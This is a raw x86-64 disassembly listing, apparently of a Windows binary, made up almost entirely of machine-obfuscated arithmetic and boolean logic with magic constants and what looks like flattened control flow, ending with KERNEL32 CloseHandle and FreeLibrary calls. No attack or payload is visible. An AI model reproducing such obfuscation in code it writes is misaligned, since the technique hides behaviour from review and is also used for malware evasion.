xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x9e3388a3
and eax, 0x61cc775c
or eax, ecx
mov ebp, eax
not ebp
mov esi, r12d
mov edi, r12d
xor edi, 0xe6164e84
and edi, r12d
not r12d
and r12d, 0x77f17ed6
and esi, 0x880e8129
or esi, r12d
mov ebx, esi
xor ebx, 0x880e8129
xor esi, 0x91e73052
and esi, ebx
or eax, 0x19e9b17b
mov edx, eax
not edx
mov ecx, esi
and ecx, edi
xor edi, esi
mov esi, ebx
and esi, ebp
xor ebx, ebp
or ebp, 0xe6164e84
or edi, ecx
mov ecx, ebp
not ecx
and eax, 0x585f4233
and edx, 0xa6000c84
or edx, eax
and ebp, 0x585f4233
and ecx, 0x1a0b148
or ecx, ebp
xor ecx, edx
mov eax, edi
not eax
and eax, 0x727ac13b
and edi, 0x8d853ec4
or edi, eax
mov eax, ecx
not eax
and eax, 0x727ac13b
and ecx, 0x8d853ec4
or ecx, eax
xor ecx, edi
or ebx, esi
mov edx, ebx
not edx
mov eax, ecx
not eax
mov ebp, eax
and ebp, 0xf6d81c0a
and ecx, 0x927e3f5
or ecx, ebp
or eax, ebx
and ebx, 0xf6d81c0a
and edx, 0x927e3f5
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and eax, ecx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x2cb605da
and eax, 0xd349fa25
or eax, ecx
mov edx, eax
xor edx, 0x8008da05
xor eax, 0x2826048a
and eax, 0x7b6724aa
and edx, 0x8498db55
or edx, eax
mov eax, edx
xor eax, 0x5a4300a0
xor edx, 0x8498db55
and eax, 0x5e5310e5
mov ecx, edx
and ecx, 0xa1acef1a
or ecx, eax
mov eax, ecx
xor eax, 0xa1acef1a
mov ebp, ecx
xor ebp, 0x9650d6eb
and ebp, eax
and edx, 0x37fc39f1
mov ebx, ebp
and ebx, edx
xor edx, ebp
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0xedc51804
and edx, 0x123ae7fb
or edx, ebp
mov ebp, edx
xor ebp, 0x20045a00
xor ecx, 0x5e5310e5
or ecx, eax
mov eax, ecx
not eax
xor edx, 0xda3921f5
mov ebx, edx
and ebx, 0xc7f2a53f
and ebp, 0x380d5ac0
or ebp, ebx
or edx, ecx
and ecx, 0xc7f2a53f
and eax, 0x380d5ac0
or eax, ecx
xor eax, ebp
not edx
or edx, eax
mov eax, edx
not eax
and edx, 0x19775cb1
and eax, 0xe688a34e
or eax, edx
mov ecx, eax
xor ecx, 0x8224020
xor eax, 0x2408230c
and eax, 0x355d3f9d
and ecx, 0xcaa2c062
or ecx, eax
mov eax, ecx
xor eax, 0x355d3f9d
xor ecx, 0x8020022
mov edx, eax
and edx, 0xe7adeed1
and ecx, 0x1852112e
or ecx, edx
xor ecx, 0xe7adeed1
xor eax, ecx
test eax, ecx
sete r9b
setne r8b
cmp r10d, 0xa
setl sil
cmp r10d, 9
setg r11b
mov eax, r11d
xor al, sil
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, al
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov ebx, esi
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
and r11b, cl
xor cl, 1
and cl, sil
and sil, al
xor bl, al
or bl, sil
mov edx, ebx
not dl
or cl, r11b
mov eax, ecx
xor al, 1
and cl, bl
and dl, al
or dl, cl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
and dl, al
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
mov edi, edx
mov r10d, edx
xor dil, 1
mov ecx, r8d
xor cl, r9b
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov r11d, ecx
and r11b, r8b
mov ebx, edx
xor bl, 1
or cl, al
xor cl, 1
mov esi, eax
and sil, cl
xor cl, al
or cl, sil
xor cl, r11b
mov r11d, ecx
xor r11b, 1
and dl, r8b
and r9b, bl
or r9b, dl
mov eax, r8d
and al, bl
xor bl, r8b
or bl, al
xor bl, 1
mov eax, r9d
and al, bl
xor bl, r9b
or bl, al
mov eax, ebx
xor al, 1
mov edx, ecx
and dl, r11b
mov esi, eax
and sil, bl
mov r8d, edx
and r8b, cl
xor dl, cl
or dl, r8b
mov r8d, esi
and r8b, al
xor sil, al
or sil, r8b
mov r8d, edx
xor r8b, 1
and r8b, sil
xor sil, 1
and sil, dl
or sil, r8b
xor bl, r11b
or al, cl
xor al, 1
or al, bl
xor sil, 1
mov ecx, esi
xor cl, al
or sil, al
xor sil, 1
or sil, cl
mov byte [rsp + 0x3c], dil
mov eax, edi
xor al, r10b
and al, dil
mov ecx, eax
xor cl, 1
mov r11d, r10d
and r11b, dil
mov edx, r11d
xor dl, cl
and dl, r11b
mov ebp, r11d
xor bpl, 1
and al, bpl
and cl, r11b
or cl, al
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov byte [rsp + 0x40], r10b
mov eax, r10d
and al, r11b
xor r11b, r10b
or al, r11b
mov r8d, eax
and al, cl
xor cl, 1
xor r8b, 1
mov edx, ecx
xor dl, r8b
and dl, cl
and r8b, cl
or r8b, al
mov eax, edx
and al, r8b
xor r8b, dl
or r8b, al
mov edi, r8d
xor dil, 1
mov r14d, esi
xor r14b, 1
mov ecx, r14d
or cl, sil
mov eax, esi
and al, r14b
mov edx, eax
and dl, sil
xor al, sil
or al, dl
mov edx, eax
and dl, cl
xor cl, 1
xor al, 1
and al, cl
or al, dl
mov edx, ecx
xor dl, sil
or cl, sil
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov ecx, ebx
or cl, al
mov r9d, ecx
xor r9b, 1
mov edx, r9d
and dl, cl
xor dl, 1
mov r15d, edx
xor r15b, cl
or dl, cl
xor dl, 1
or dl, r15b
mov r15d, edx
xor r15b, 1
and r15b, bl
and dl, al
or dl, r15b
mov r15d, ecx
and r15b, al
xor cl, al
or cl, r15b
xor dl, 1
mov r15d, edx
xor r15b, cl
or dl, cl
xor dl, 1
or dl, r15b
mov r15d, edx
xor r15b, 1
mov ecx, r15d
and cl, dl
xor r15b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r15b
mov edx, ecx
xor dl, 1
xor bl, al
or bl, r9b
mov eax, ebx
xor al, 1
and al, cl
or cl, bl
xor cl, 1
and bl, dl
or bl, al
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, 1
mov r10d, eax
or r10b, bl
mov r9d, r10d
xor r9b, 1
mov edx, eax
xor dl, r10b
and dl, al
and r9b, bl
and r10b, al
or r10b, r9b
mov eax, edx
and al, r10b
xor r10b, dl
or r10b, al
mov eax, r10d
xor al, 1
and r10b, al
mov edx, eax
and dl, r10b
xor r10b, al
or r10b, dl
mov eax, r10d
xor al, 1
and r10b, al
xor r10b, 1
mov edx, r10d
xor dl, al
or r10b, al
xor r10b, 1
or r10b, dl
mov edx, r8d
or dl, dil
mov ebx, edi
and bl, r8b
mov eax, edi
xor al, bl
xor bl, 1
or bl, r8b
xor bl, 1
or bl, al
xor bl, dl
mov r9d, edi
and r9b, dl
mov eax, edi
xor al, dl
or al, r9b
xor al, 1
mov r9d, ebx
and r9b, al
xor al, bl
or al, r9b
mov r15d, eax
xor r15b, 1
mov r12d, eax
or r12b, r15b
mov r13d, r12d
xor r13b, 1
mov r9d, r13d
or r9b, r15b
mov ebx, r9d
xor bl, 1
xor dil, r8b
xor dl, 1
or dl, dil
mov r8d, edx
xor r8b, 1
and dl, r8b
mov edi, r8d
and dil, dl
xor dl, r8b
or dl, dil
mov edi, edx
xor dil, 1
mov ecx, edi
and cl, r9b
mov r8d, ebx
and r8b, dl
or r8b, cl
xor r8b, 1
or r8b, r9b
mov r9d, r8d
xor r9b, 1
or dil, bl
xor dl, bl
and dl, bl
xor dl, 1
mov ecx, edi
xor cl, dl
or dl, dil
xor dl, 1
or dl, cl
mov edi, edx
xor dil, 1
mov ecx, r8d
and cl, r9b
mov ebx, r8d
and bl, cl
xor cl, r8b
or cl, bl
mov ebx, edi
and bl, dl
xor r8b, dil
xor dil, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, dil
mov edi, ecx
xor dil, 1
and dil, bl
xor bl, 1
and bl, cl
or bl, dil
mov edi, r10d
xor dil, 1
or dl, r9b
xor dl, 1
or dl, r8b
xor bl, 1
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov edx, ebx
xor dl, 1
mov ecx, edx
and cl, bl
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
xor cl, 1
or dl, bl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov r8d, edx
xor r8b, 1
mov ecx, r15d
xor cl, al
and cl, r15b
mov ebx, ecx
xor bl, 1
and r13b, bl
or bl, r12b
and cl, r12b
or cl, r13b
xor cl, 1
mov r9d, ebx
xor r9b, cl
or cl, bl
xor cl, 1
or cl, r9b
xor cl, 1
and al, r15b
mov ebx, eax
and bl, r15b
xor al, r15b
or al, bl
mov ebx, ecx
or bl, al
xor bl, 1
xor al, cl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
mov ebx, eax
or bl, cl
and al, cl
xor al, 1
mov r9d, eax
xor r9b, cl
or al, cl
xor al, 1
or al, r9b
xor al, bl
mov r9d, ebx
and r9b, cl
xor bl, cl
or bl, r9b
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov eax, ebx
xor al, 1
mov r15d, eax
or r15b, bl
xor bl, r15b
xor bl, 1
or r15b, al
xor r15b, 1
or r15b, bl
mov eax, r15d
xor al, 1
and r15b, al
mov ecx, eax
and cl, r15b
xor r15b, al
or r15b, cl
mov eax, r15d
xor al, 1
mov ecx, edx
and cl, r15b
and r15b, al
mov ebx, eax
and bl, r15b
xor r15b, al
and al, r8b
or cl, al
mov eax, ecx
xor al, r8b
and al, cl
or r15b, bl
and dl, r15b
xor r15b, 1
and r15b, r8b
or r15b, dl
mov ecx, r15d
xor cl, 1
and cl, r15b
mov edx, ecx
and dl, r15b
xor cl, r15b
or cl, dl
xor cl, al
xor cl, 1
mov edx, eax
xor dl, r15b
or r15b, al
xor r15b, 1
or r15b, dl
mov eax, ecx
xor al, r15b
or r15b, cl
xor r15b, 1
or r15b, al
mov ecx, r10d
and cl, dil
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov ebx, r10d
or bl, dil
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
xor dl, 1
mov r8d, eax
xor r8b, dl
or dl, al
xor dl, 1
or dl, r8b
xor dl, cl
xor cl, 1
mov r8d, ecx
and r8b, r10b
xor cl, r10b
or cl, r8b
xor cl, 1
xor dl, 1
xor bl, r10b
or al, dil
xor al, 1
or al, bl
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov r8d, ecx
or r8b, al
xor r8b, 1
xor al, cl
or r8b, al
or dl, cl
xor dl, 1
and al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ebx, eax
and al, r8b
xor r8b, 1
xor bl, 1
mov ecx, r8d
xor cl, bl
and cl, r8b
and bl, r8b
or bl, al
mov eax, ecx
xor al, 1
xor cl, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, cl
mov eax, r15d
xor al, 1
mov r8d, eax
and r8b, r15b
mov ecx, r8d
and cl, al
xor r8b, al
or r8b, cl
or al, r15b
xor al, 1
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, al
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov r9d, ebx
xor r9b, 1
mov edx, ecx
xor dl, bl
and cl, dl
and dl, bl
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
xor dl, 1
mov eax, edx
and al, r9b
xor dl, r9b
or dl, al
mov edi, edx
xor dil, 1
mov eax, ebx
or al, r9b
mov ecx, ebx
and cl, r9b
mov r10d, ebx
xor r10b, cl
xor cl, 1
or cl, r9b
xor cl, 1
or cl, r10b
xor cl, al
xor cl, 1
mov r9d, ebx
and r9b, al
xor al, bl
or al, r9b
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
xor al, r8b
mov ebx, r15d
and bl, cl
xor cl, r15b
or cl, bl
mov ebx, ecx
xor bl, al
xor al, 1
xor bl, 1
or al, cl
xor al, 1
or al, bl
mov r8d, eax
xor r8b, 1
mov r10d, edx
and r10b, dil
mov ecx, edx
and cl, r10b
xor r10b, dl
or r10b, cl
mov r15d, r10d
xor r15b, 1
mov ebx, r10d
or bl, r15b
xor dl, dil
and dl, dil
mov edi, eax
or dil, r8b
mov r9d, edi
xor r9b, r8b
mov ecx, edx
xor cl, 1
mov r12d, edx
and r12b, bl
xor bl, 1
and cl, bl
or cl, r12b
mov r12d, ebx
xor r12b, dl
or bl, dl
xor bl, 1
or bl, r12b
xor cl, 1
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
or dil, al
xor dil, 1
xor r9b, 1
mov edx, edi
and dl, r9b
xor r9b, dil
or r9b, dl
mov edx, r9d
xor dl, 1
mov edi, edx
and dil, r9b
xor dl, dil
xor dil, 1
or dil, r9b
xor dil, 1
or dil, dl
mov edx, edi
and dl, cl
xor cl, 1
xor dil, 1
and dil, cl
or dil, dl
mov ecx, r8d
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
xor cl, r15b
xor cl, 1
xor r15b, r8b
or r10b, al
xor r10b, 1
or r10b, r15b
mov eax, ecx
xor al, r10b
or r10b, cl
xor r10b, 1
or r10b, al
mov eax, r10d
xor al, 1
and al, r10b
xor al, 1
mov ecx, r10d
xor cl, al
or al, r10b
xor al, 1
or al, cl
xor al, dil
xor al, 1
and dil, al
xor dil, 1
mov ecx, edi
xor cl, al
or dil, al
xor dil, 1
or dil, cl
mov r8b, byte [rsp + 0x40]
mov eax, r8d
xor al, r14b
mov bl, byte [rsp + 0x3c]
or bpl, bl
xor bpl, 1
or bpl, r11b
xor bpl, 1
mov ecx, r14d
and cl, bpl
xor bpl, r14b
and r14b, bl
or bl, sil
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
or bpl, cl
mov ecx, ebp
xor cl, 1
mov edx, r8d
and sil, r8b
or r14b, sil
xor r14b, 1
or r14b, r8b
xor r14b, 1
and bpl, cl
xor bpl, 1
mov edx, ecx
xor dl, bpl
or bpl, cl
xor bpl, 1
or bpl, dl
xor bpl, r14b
xor bpl, 1
mov edx, ecx
xor dl, r14b
or r14b, cl
xor r14b, 1
or r14b, dl
xor r14b, 1
mov ecx, ebp
and cl, r14b
xor r14b, bpl
or r14b, cl
mov edx, eax
xor dl, 1
mov ecx, r14d
xor cl, 1
mov ebx, eax
xor bl, r14b
or cl, al
or al, r14b
xor al, 1
or al, bl
xor cl, 1
or dl, r14b
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
and dl, al
xor al, 1
xor cl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
or cl, dl
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov r10d, ecx
xor r10b, 1
mov ebx, ecx
or bl, r10b
mov r9d, ebx
xor r9b, 1
mov eax, r10d
and al, cl
mov r8d, r9d
and r8b, bl
mov edx, eax
and dl, r10b
xor al, r10b
or al, dl
mov edx, r8d
xor dl, 1
xor r8b, r9b
or dl, bl
xor dl, 1
or dl, r8b
xor dl, al
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov r8d, edx
xor r8b, 1
xor r10b, cl
or r10b, r9b
mov eax, r10d
xor al, 1
and r10b, al
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
mov ecx, r10d
xor cl, 1
mov eax, edx
or al, r8b
mov ebx, eax
xor bl, 1
and bl, dl
or dl, al
xor dl, 1
and al, r8b
or al, bl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
and bl, al
xor bl, 1
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
xor bl, r10b
mov eax, ecx
and al, r10b
mov edx, eax
xor dl, 1
xor al, cl
or dl, r10b
xor dl, 1
or dl, al
xor dl, r8b
mov eax, r8d
xor al, cl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
mov ecx, ebx
xor cl, dl
and cl, bl
and dl, bl
xor bl, 1
xor al, 1
and al, bl
or dl, al
mov eax, ecx
xor al, 1
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov r12d, ecx
or r12b, dl
mov ebx, edx
and bl, r12b
xor r12b, 1
mov eax, r12d
xor al, cl
and al, r12b
and r12b, cl
or r12b, bl
mov ebx, eax
and bl, r12b
xor r12b, al
or r12b, bl
and cl, r12b
xor r12b, 1
mov eax, r12d
xor al, dl
and al, r12b
and r12b, dl
or r12b, cl
mov ecx, eax
and cl, r12b
xor r12b, al
or r12b, cl
mov r8d, r12d
xor r8b, 1
mov ebx, edi
xor bl, 1
mov ecx, ebx
and cl, dil
mov edx, ebx
xor dl, cl
xor cl, 1
mov r10d, edi
or r10b, cl
xor r10b, 1
or dl, r10b
mov r9d, edx
xor r9b, 1
or bl, dil
mov eax, ebx
xor al, 1
and dl, r9b
mov r11d, ebx
and r11b, al
mov esi, r9d
and sil, dl
xor dl, r9b
or dl, sil
xor r11b, 1
mov esi, eax
xor sil, r11b
or r11b, al
xor r11b, 1
or r11b, sil
mov eax, edx
xor al, 1
and al, r11b
xor r11b, 1
and r11b, dl
or r11b, al
mov eax, r9d
and al, bl
xor bl, r9b
or bl, al
mov eax, ebx
xor al, r11b
xor r11b, 1
xor al, 1
or r11b, bl
xor r11b, 1
or r11b, al
mov r9d, r11d
xor r9b, 1
xor cl, dil
or cl, r10b
mov esi, ecx
xor sil, 1
mov eax, ecx
xor al, sil
or sil, cl
xor sil, 1
or sil, al
mov r10d, esi
xor r10b, 1
mov ecx, r8d
and cl, r12b
mov eax, r8d
xor al, cl
xor cl, 1
mov edi, r12d
xor dil, cl
or cl, r12b
xor cl, 1
or dil, cl
mov edx, edi
xor dl, 1
mov ebx, r8d
mov r14d, r8d
mov byte [rsp + 0x3c], r8b
and bl, dil
and dl, r12b
or dl, bl
xor dil, dl
and dil, dl
or cl, al
mov eax, ecx
and al, r12b
xor cl, r12b
or cl, al
mov eax, ecx
xor al, 1
mov r15d, eax
and r15b, cl
xor al, r15b
xor r15b, 1
or r15b, cl
xor r15b, 1
or r15b, al
mov ecx, esi
and cl, r10b
mov eax, esi
xor al, cl
xor cl, 1
or cl, r10b
xor cl, 1
or cl, al
mov ebp, ecx
xor bpl, 1
mov r8d, ecx
xor r8b, bpl
and r8b, cl
xor cl, r9b
mov eax, r14d
and al, r9b
mov r13d, r11d
and r13b, r12b
or r13b, al
xor r13b, 1
or r13b, r9b
or r9b, r11b
mov ebx, r11d
or bl, r9b
xor r9b, r11b
or r10b, sil
mov edx, r10d
xor dl, 1
mov eax, ebx
xor al, r9b
xor r9b, 1
xor al, 1
or r9b, bl
xor r9b, 1
or r9b, al
mov esi, r8d
xor sil, 1
mov r14d, r8d
and r14b, sil
mov eax, edx
and al, r10b
mov ebx, r14d
xor bl, 1
xor r14b, r8b
or bl, sil
xor bl, 1
or bl, r14b
mov r14d, eax
xor r14b, 1
xor al, dl
or r14b, r10b
xor r14b, 1
or r14b, al
xor r14b, bl
xor sil, r10b
or dl, r8b
xor r14b, 1
xor dl, 1
or dl, sil
mov eax, r14d
xor al, dl
or dl, r14b
xor dl, 1
or dl, al
mov eax, edx
xor al, r9b
and dl, al
and al, r9b
mov ebx, edx
xor bl, 1
xor dl, al
xor al, 1
or al, bl
xor dil, 1
xor r15b, dil
xor al, 1
or al, dl
mov edx, r11d
and dl, bpl
xor bpl, r11b
or bpl, dl
mov edx, ebp
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bpl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
xor cl, 1
mov ebx, ecx
xor bl, al
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
xor dil, r15b
and dil, r15b
mov eax, edi
xor al, 1
mov edx, eax
and dl, dil
mov ebx, eax
xor bl, dl
xor dl, 1
or dl, dil
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
and bl, r15b
mov r8d, eax
and r8b, r15b
xor al, r15b
xor r15b, 1
and dl, r15b
or dl, bl
or al, r8b
mov ebx, eax
xor bl, dl
xor dl, 1
xor bl, 1
or dl, al
xor dl, 1
or dl, bl
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
mov r8d, ebx
xor r8b, al
xor al, 1
or al, cl
xor al, 1
or al, r8b
mov r8d, edx
and r8b, al
xor al, 1
xor bl, dl
xor dl, 1
and al, dl
or al, r8b
xor al, 1
or al, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
or cl, dl
xor cl, 1
xor dl, al
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov cl, byte [rsp + 0x3c]
or cl, r11b
xor cl, 1
xor r12b, r11b
and r12b, r11b
mov eax, ecx
and al, r12b
xor r12b, cl
or r12b, al
mov ecx, r12d
and r12b, r13b
xor r13b, 1
xor cl, 1
mov eax, r13d
xor al, cl
and al, r13b
and cl, r13b
or cl, r12b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov r8d, ecx
xor r8b, 1
mov ebx, r8d
and bl, cl
xor bl, 1
mov eax, ecx
xor al, bl
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
or r8b, cl
mov ecx, r8d
xor cl, 1
and r8b, bl
and al, cl
or al, r8b
mov r8d, ebx
xor r8b, cl
or cl, bl
xor cl, 1
or cl, r8b
mov ebx, ecx
xor bl, al
xor al, 1
xor bl, 1
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov r10d, eax
xor r10b, 1
mov r8d, edx
xor r8b, 1
mov esi, eax
and sil, r10b
mov ecx, eax
and cl, sil
xor sil, al
or sil, cl
mov ecx, esi
xor cl, 1
mov r9d, r8d
or r9b, dl
mov r11d, r9d
xor r11b, 1
mov ebx, esi
and bl, cl
mov edi, ebx
and dil, sil
xor bl, sil
or sil, cl
xor al, r10b
and al, r10b
or bl, dil
mov r10d, ebx
and r10b, dl
mov edi, edx
and dil, cl
xor cl, dl
and dl, r9b
or r9b, r8b
xor r9b, 1
and r11b, r8b
or r11b, dl
mov edx, r9d
and dl, r11b
xor r11b, r9b
or r11b, dl
mov edx, esi
xor dl, al
xor al, 1
or al, sil
xor al, 1
xor dl, 1
mov r9d, eax
and r9b, dl
xor dl, al
or dl, r9b
mov eax, edx
xor al, r11b
and dl, al
and al, r11b
xor dl, 1
xor al, 1
mov r9d, edx
xor r9b, al
or al, dl
xor al, 1
or al, r9b
xor bl, 1
and bl, r8b
or bl, r10b
or cl, dil
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
mov ecx, eax
xor cl, 1
and cl, dl
and bl, al
or bl, cl
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, bl
test dl, 1
mov ecx, 0xe9096f9e
mov edx, 0x5dcf140f
cmovne ecx, edx
test bl, 1
not al
cmove ecx, edx
test al, 1
mov eax, dword [rsp + 0x48]
mov word [rsp + 0x188], ax
mov eax, 0xe9096f9e
cmovne ecx, eax
cmp ecx, 0xdb67d41
jg 0x1400015a0
jmp 0x1400014ec
mov rcx, qword [rsp + 0x110]
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, rax
call rax
mov rcx, qword [rsp + 0x130]
call rsi
mov rcx, qword [rsp + 0x138]
call rsi
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [0x1400c5670]
lea r9d, [rax - 1]
imul r9d, eax
mov r8d, r9d
not r8d
mov r10d, r8d
and r10d, r9d
mov eax, r10d
not eax
mov ecx, r9d
and ecx, 0x10042c04
mov edx, r8d
and edx, 0xeaaa8170
or edx, ecx
mov ecx, r9d
or ecx, eax
and eax, 0x10042c04
mov ebp, r10d
and ebp, 0xeaaa8170
or ebp, eax
xor ebp, edx
not ecx
or ecx, ebp
not ecx
or ecx, 0x551528b
mov eax, r9d
and eax, 0xd4d6802b
mov edx, r8d
and edx, 0x2b297fd4
or edx, eax
xor edx, 0x2e782d5f
mov eax, r8d
and eax, 0xfaaead74
or eax, edx
mov edx, eax
not edx
and edx, 0x42d535ba
and eax, 0xbd2aca45
or eax, edx
mov edx, eax
xor edx, 0xbd2aca45
and edx, ecx
not ecx
xor eax, 0x42d535ba
mov ebp, ecx
xor ebp, eax
and ebp, ecx
and eax, ecx
or eax, edx
mov ecx, ebp
and ecx, eax
xor eax, ebp
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x30937909
and eax, 0xcf6c86f6
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x35c22b82
and eax, 0xca3dd47d
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xca427526
and eax, 0x35bd8ad9
or eax, ecx
mov edx, eax
xor edx, 0x34b58a50
xor eax, 0x48407524
and eax, 0x494875ad
and edx, 0xb6b78a52
or edx, eax
mov ebp, edx
xor ebp, 0x41483528
xor edx, 0xb6b78a52
mov ecx, edx
and ecx, 0xbe06c0d7
and ebp, 0x41f93f28
or ebp, ecx
mov esi, ebp
xor esi, 0x41f93f28
mov eax, ebp
xor eax, 0x729ad72d
and eax, esi
or edx, 0xcc9c17fa
mov edi, edx
not edi
mov ecx, eax
not ecx
mov ebx, ecx
and ebx, 0xd95bda9d
and eax, 0x26a42562
or eax, ebx
or ecx, edx
and edx, 0xd95bda9d
and edi, 0x22202000
or edi, edx
xor edi, eax
not ecx
or ecx, edi
mov eax, ecx
and eax, 0x3363e804
not ecx
and ecx, 0xcc9c17fb
or ecx, eax
xor ebp, 0x8e0080c1
and ebp, 0x8fb981e1
mov eax, esi
and eax, 0x70467e1e
or eax, ebp
xor eax, 0x70467e1f
and esi, 0xfffffffe
or esi, eax
not esi
mov eax, ecx
and eax, esi
xor esi, ecx
or esi, eax
mov eax, esi
not eax
mov ecx, esi
xor ecx, 0xbc1e0ac3
and ecx, esi
or esi, 0x43e1f53c
mov edx, ecx
not edx
mov ebp, esi
and ebp, 0xbd1ed42f
and eax, 0xac0
or eax, ebp
or esi, edx
and edx, 0xbd1ed42f
and ecx, 0x42e12bd0
or ecx, edx
xor ecx, eax
not esi
or esi, ecx
mov eax, esi
not eax
and eax, 0x74a4aad3
and esi, 0x8b5b552c
or esi, eax
mov r12d, esi
xor r12d, 0x37455fef
mov edx, r9d
or edx, 0xd70a1892
mov eax, edx
not eax
mov ebp, r9d
xor ebp, 0x28f5e76d
and ebp, r9d
mov edi, ebp
not edi
mov ecx, edx
and ecx, 0x40461f5f
and eax, 0x28b1e020
or eax, ecx
or edx, edi
and edi, 0x40461f5f
and ebp, 0xbfb9e0a0
or ebp, edi
xor ebp, eax
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0xe751696f
and edx, 0x18ae9690
or edx, eax
mov eax, edx
xor eax, 0x305b71fd
xor edx, 0x8a248600
mov ebp, eax
and ebp, 0xfffffffe
and edx, 0xba6ec671
and eax, 0x4591398e
or eax, edx
xor eax, 0x4591398f
mov edx, ebp
and edx, eax
xor eax, ebp
or eax, edx
mov edx, eax
not edx
mov ebp, eax
xor ebp, 0xcf36178
and ebp, eax
or eax, 0xf30c9e87
mov edi, ebp
not edi
mov ecx, eax
and ecx, 0xb93d944e
and edx, 0x4c26130
or edx, ecx
or eax, edi
and edi, 0xb93d944e
and ebp, 0x46c26bb1
or ebp, edi
xor ebp, edx
not eax
or eax, ebp
mov edx, eax
not edx
and edx, 0xf30c9e87
and eax, 0xcf36178
or eax, edx
mov edx, eax
not edx
and edx, 0x238aa9d7
and eax, 0xdc755628
or eax, edx
mov edi, eax
xor edi, 0x48211028
xor eax, 0x10a01c0
and eax, 0x955e47c0
and edi, 0x6aa1b83f
or edi, eax
mov ebp, edi
xor ebp, 0x6aa1b83f
xor esi, 0xc8baa010
mov eax, esi
and eax, r12d
mov edx, eax
not edx
mov ecx, r12d
and ecx, 0x46ee5246
mov ebx, esi
and ebx, 0xb911adb9
